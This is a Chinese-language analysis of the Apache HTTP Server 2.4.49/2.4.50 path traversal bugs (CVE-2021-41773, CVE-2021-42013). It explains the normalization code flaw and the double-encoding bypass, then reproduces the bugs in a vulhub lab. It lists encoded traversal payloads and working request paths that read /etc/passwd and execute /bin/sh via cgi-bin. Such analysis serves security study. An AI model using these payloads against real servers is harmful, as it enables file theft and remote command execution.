漏洞条件
- Apahce HTTP Server 2.4.49
- Apahce HTTP Server 2.4.50 (CVE-2021-42013)
- 配置允许穿越目录
<Directory />Require all granted</Directory>
- 开启cgi或cgid模块(命令执行)
原理分析
2.4.49
Apache HTTP Server 2.4.49版本在server/request.c中引入的新代码,根据httpd自身的注释可以了解到这部分代码的功能是删除/./
和/../
一些路径,其中还描写到该部分代码是为了避免ap_unescape_url()
后的双重解码
# server/request.c
if (r->parsed_uri.path) {
/* Normalize: remove /./ and shrink /../ segments, plus
* decode unreserved chars (first time only to avoid
* double decoding after ap_unescape_url() below).
*/
if (!ap_normalize_path(r->parsed_uri.path,
normalize_flags |
AP_NORMALIZE_DECODE_UNRESERVED)) {
ap_log_rerror(APLOG_MARK, APLOG_ERR, 0, r, APLOGNO(10244)
"invalid URI path (%s)", r->unparsed_uri);
return HTTP_BAD_REQUEST;
}
}
接下来到这次漏洞的核心ap_normalize_path()
函数,该函数在对路径参数进行规范化时会先进行url解码,然后判断是否存在../
的路径穿越符,第一段代码如下
int ret = 1;
apr_size_t l = 1, w = 1;
if (!IS_SLASH(path[0])) {
/* 除了 "OPTIONS *", 每个请求路径都应该是以 '/' 开头*/
if (path[0] == '*' && path[1] == '\0') {
return 1;
}
/* 如果开启了AP_NORMALIZE_ALLOW_RELATIVE配置就能绕过这个限制 */
if (!(flags & AP_NORMALIZE_ALLOW_RELATIVE) || path[0] == '\0') {
return 0;
}
l = w = 0;
}
可以看到在代码的开始部分设定了w和l变量,其实是使用了双索引的方式遍历path数组,完成对path字符串的编码解析和../
删除工作。其中w指针有回退功能,l指针只会前进,而且w指针永远指的是真实path将要填充的字符,所以在做字符串判断的时候一直使用w-1偏移进行索引。
if ((flags & AP_NORMALIZE_DECODE_UNRESERVED)
&& path[l] == '%' && apr_isxdigit(path[l + 1])
&& apr_isxdigit(path[l + 2])) {
const char c = x2c(&path[l + 1]);
if (apr_isalnum(c) || (c && strchr("-._~", c))) {
/* 如果解码成功l指针移动到编码的最后一位,且将解码后的值复制给path[l] */
l += 2;
path[l] = c;
}
}
在这段代码之后真正的漏洞代码出现了
if (w == 0 || IS_SLASH(path[w - 1])) {
/* Collapse ///// sequences to / */
.......
if (path[l] == '.') {
/* Remove /./ segments */
if (IS_SLASH_OR_NUL(path[l + 1])) {
l++;
if (path[l]) {
l++;
}
continue;
}
/* Remove /xx/../ segments */
if (path[l + 1] == '.' && IS_SLASH_OR_NUL(path[l + 2])) {
/* 如果l遇到了../开始让w回退到上一个/,不然的话就赋值 */
if (w > 1) {
do {
w--;
} while (w && !IS_SLASH(path[w - 1]));
}
else {
/* 如果w回退到0且后续没有内容则报错 */
if (flags & AP_NORMALIZE_NOT_ABOVE_ROOT) {
ret = 0;
}
}
/* 因为../的关系让l指针前进两个索引 */
l += 2;
if (path[l]) {
l++;
}
continue;
}
}
}
漏洞逻辑已经很明显了在上述代码的第十五行,l遇到../
才让w回退到上一个/
,不然的话就将路径原模原样赋值给w指针。那么.
的url编码是%2e
,如果遇到%2e./
就会回退,因为会先进行url解码l索引就变成了../
,但如果是.%2e/
在执行这段../
回退代码的时候检测不出来../
就会先把.
赋值给w指针,之后l在%2e
进行解码变成了./
但是因为w已经前进了一个索引**IS_SLASH(path[w – 1])
** 就无法判断成功所以代码又将./
依次赋值给了w指针。从而让path变量中拥有了解码好的/../
路径片段,实现了路径穿越。
这样一来攻击者输入.%2e/
和%2e%2e/
这两种情况都能够实现目录穿越。
然而该漏洞并不是所有情况下都能够RCE:
导致该漏洞从目录穿越和敏感文件泄露升级到RCE的关键是 开启了cgi配置。在一些CGI配置文件限制扩展名不全的情况下,在 **/cgi-bin/
**目录下执行的所有文件都会被当作cgi脚本程序执行。
2.4.50
在后续一个版本中官方针对这个问题进行了修复,判断了.%2e/
以及%2e%2e/
这两种情况
/* Remove /xx/../ segments (or /xx/.%2e/ when
* AP_NORMALIZE_DECODE_UNRESERVED is set since we
* decoded only the first dot above).
*/
n = l + 1;
if ((path[n] == '.' || (decode_unreserved
&& path[n] == '%'
&& path[++n] == '2'
&& (path[++n] == 'e'
|| path[n] == 'E')))
&& IS_SLASH_OR_NUL(path[n + 1])) {
/* Wind w back to remove the previous segment */
但是在后续的过程又存在ap_unescape_url()
函数,该函数功能为解码url字符编码,这样一来只需要进行二次URL编码即可绕过上面的判断。
/%2%65./
/%2%65%2e/
/.%2%65/
/%2e%2%65/
/%2%65%2%65/
/%%32e%%32e/
/%25%32%65%25%32%65/ # 这种是不生效的,因为ap_normalize_path不会处理%字符的url编码
利用
这里使用vulhub中的环境,启动后访问8080端口看到下图即为成功:
到容器内部查看apache的配置文件 /usr/local/apache2/conf/httpd.conf
#
# Deny access to the entirety of your server's filesystem. You must
# explicitly permit access to web content directories in other
# <Directory> blocks below.
#
<Directory />
AllowOverride none
Require all granted
</Directory>
可以看到被穿越的目录是能够访问的。
任意文件读取
访问的路径第一层目录必须是存在的,如这里的/icons
:
/icons/%2%65./%2%65./%2%65./%2%65./%2%65./etc/passwd
命令执行
在服务端开启了cgi或cgid这两个mod的情况下,这个路径穿越漏洞将可以执行任意命令:
/cgi-bin/%2%65./%2%65./%2%65./%2%65./%2%65./bin/sh
参考资料
Apache HTTP Server路径穿越漏洞(CVE-2021-41773、CVE-2021-42013)复现